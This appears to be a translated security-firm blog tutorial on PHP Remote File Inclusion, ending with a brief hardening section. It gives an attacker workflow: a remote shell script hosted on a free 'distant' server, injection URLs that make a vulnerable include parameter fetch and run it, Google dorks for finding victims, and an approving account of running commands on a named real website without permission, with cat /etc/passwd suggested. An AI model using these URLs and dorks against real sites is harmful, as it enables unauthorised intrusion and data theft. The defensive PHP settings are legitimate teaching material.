Remote File Inclusion (RFI)

A well-known way to attack sites is Remote Code Execution. The attacker executes his own program (usually not very innocent) on a website hosted on a server. Such programs often take control of the operating system (owned box) while others simply cause damage by deleting important files or installing a logger stealing codes, passwords or even credit card numbers of the website users.

A method that is very often followed is the execution of a program (e.g. in PHP language) which in some way, as we will see below, is “integrated” into a completely innocent program that can run on the server. This method is called Remote File Inclusion or simply RFI. Of course, as a technique it is quite old and many even consider it outdated. However, we assure you that only our… examples are old!

To be even more realistic, however, we will give you a real example to see how dangerous such an attack can be and how much it exposes the server's operating system. Of course, we will also tell you ways to avoid such "mischief" in case you develop websites on the internet.

Necessary "tools"

To be able to carry out such an attack we will need 2 basic things:

1. To have a site where we can write our own programs in php. An easy way is the so-called Share Web hosting (hosting our own websites). If you search a little you will find dozens if not hundreds of sites that accept to host you for free (image 1)!

Image 1: A google search for “free web hosting” will leave almost no one complaining.
Prefer a site that is quite… distant. The further away from Greece, Europe or the USA the better… 😉

2. A potential victim. However, to find the potential victim we need to know exactly how the attack method works.

So let's describe it.

Testing the attack on our own site

First of all, we should test our programs on our own site, which is a controlled environment and where we can do our tests freely and without anyone stopping us.

We will build 2 innocent programs where one program will call the other through the URL line. The result of our programs can be seen on the following site:

Our site is the… best!

Give reference to the URL line:

ajv.awardspace.info/axvax/testrfi.php?include=index.html

ajv.awardspace.info/axvax/testrfi.php calls index.html which is located in the same directory .

The code for our two innocent programs is as follows:

The gist is in line 6 of testrfi.php:

include($file);

This command inserts the contents of the file specified in the $file variable into the testrfi.php program and executes it as if it were part of the program. In our case, it is called index.html.

So we think a little cunningly: Let's create a bad program (let's call it system.php) and call it in place of index.html. System.php will ask us for a command from the Linux operating system and execute it on the server!

So we give the URL:

ajv.awardspace.info/axvax/testrfi.php?include=system.php

The results are as follows:

RFI attack on our own site.

Here we have executed the very innocent “ls” command which simply shows us the contents of the current directory on the disk. We could have executed other more… interesting commands!

For those who think system.php is difficult to build, we'll disappoint them! Its code is incredibly short and simple:

The "heart" of the above program is located 2 lines before the end. It is the system() function of PHP, which accepts as a parameter an operating system command and executes it. So, we give it as a parameter the variable $syscom which contains whatever we give to "Enter System Command", the variable you ask us for in line 5 of the program.

Of course, there are much better implementations of so-called shell programs, which allow you to execute operating system commands. Don't ask us, though, where to find them! We won't tell you. So, we're sure you won't find them anywhere, since you don't know where to look... 😉

To get back to our topic, the basic methodology of RFI is this: Make the innocent program testrfi.php call the evil system.php.

Remotely

Consider what would happen if testrfi.php is not on our server but is another site on another server, and system.php remains the same on our server. In this case, we would only need to make the following small change to the URL:

***/testrfi.php?include=http://ajv.awardspace.info/axvax/system.php

where *** = the address of the other server.

The above will work… in part!

ajv.awardspace.info/axvax/system.php will be executed, but on our own server. That is, if we give “ls” we will see information of our own directory. To make it execute on the remote server (that is, where …/ testrfi. php is also running ) we simply have to create a similar program on our server and save it with the name system. txt and call it like this:

…/testrfi.php?include=https://ajv.awardspace.info/axvax/system.txt

Search for victims

As you may have guessed, the main “backdoor” of the RFI vulnerability is the variable that is passed in the URL (in our example, “?include”) and which contains the name of the file that will be “executed”. Of course, this variable is not always called “include”. It can be called “file”, “incFile”, “show_path” or whatever else comes to mind for the programmer who created it.

But how do the "sly" search for potential victims?

As is known, the information is always there, the issue is to find a way to retrieve it. You just have to have the right tools… What a useful tool for this case from… Google! (God and Lord!… “Hellenization” must have some limits). So giving Google:

inurl:”index.php?file=” or

inurl:”index.php?incFile=” etc.

will give us all the sites that contain variables that can be used to call other programs, i.e. sites that are candidates for RFI attacks.

A Real Attack

While surfing the internet one day, we stumbled upon a vulnerable site on RFI. At first glance, it seemed like a site like any other:

At first everything seems quiet and innocent..

Based on the URL:

ramshaw.com/index.php?Tab=Renting&incFile=Renting/Testimonials.HTML

Does this… incFile tickle the part of our brain that says “Curiosity” or “Test the Strength of Systems”? 😉

Let's test our evil program, system.txt:

We display the contents of the current directory.

It works… We’ve displayed the contents of the current directory. Let’s play around a bit more though. How about we see all the environment variables on the operating system the site is running on? Good idea, let’s do that:

With the "set" command we see all the environment variables of the operating system.

Imagine that we can run any command we want, as if we had direct access to the operating system shell. But let's take one more look before... we leave. Let's run a little program that will show us information about the server, the operating system, and other goodies:

Hmm… not bad information at all 🙂

Of course, the commands we give in the above examples are quite innocent and do not give such "secret" information. However, we could go even further by giving commands like:

cat /etc/passwd

But we don't want it because we are good kids... 😉

How much information we can get depends on how well we know Unix (or Linux).

Ways of Protection

The main reason why these attacks occur is due to the configuration of the PHP language on each server, which has been "set" to allow programs to be called from other sites.

One solution to prevent someone from "running" remote code on our site is to give specific values ​​to some PHP environment variables, within the PHP.INI file (https://www.php.net/manual/en/ini.php):

• allow_url_fopen = false
  By setting this variable to false, someone is not allowed to execute a program on a remote server.
• safe_mode = true
  The above variable having the value true will not allow someone to execute functions of the style system(),exec() etc. That is, functions that execute operating system commands. However, this specific variable is not supported in Php 6.0. The reasoning is that PHP should not deal with such "system issues" that can be resolved by the security of the operating system itself (e.g. by defining access rights etc. – https://us2.php.net/manual/en/features.safe-mode.php).
• Use the php file_exists() function in your programs. This way you can check if the file that will be called to be executed exists on your local disk. If the file does not exist on your local disk but exists on a remote server, the function will return false!

For more and more "juicy" details, refer to https://us2.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen and https://us2.php.net/manual/en/features.remote-files.php

Conclusions

Remote code can be called in many applications that are not necessarily malicious (malware). For example, when we execute a web service or when we run a client/server application, even when we "download" an activeX, code is executed on our PC that was "activated" by some external source and which can "open" a communication channel with a remote server. Whether this will be for good or bad purposes depends on whether some written or unwritten laws for the communication of two or more people are violated and has less to do with the coupling algorithms and the protocol that is followed at that particular time.

The methodologies in communication technology and its extensions are very many. The evil is ignorance. Knowledge of the methods of attack does not necessarily make us malicious. However, someone, as a counterargument, would say that it potentially makes us such. However, we would answer that on the other side of the coin lies ignorance which certainly makes us potential victims!

We couldn't allow this to happen. Especially to young people. You know, those who are young in age or "in spirit"! We shouldn't let it happen again! Better potential perpetrators than potential victims. It is a matter of knowledge, aka power.

Audax Cybersecurity
Research and Development Department
Website: https://audax.gr
Email: info@audax.gr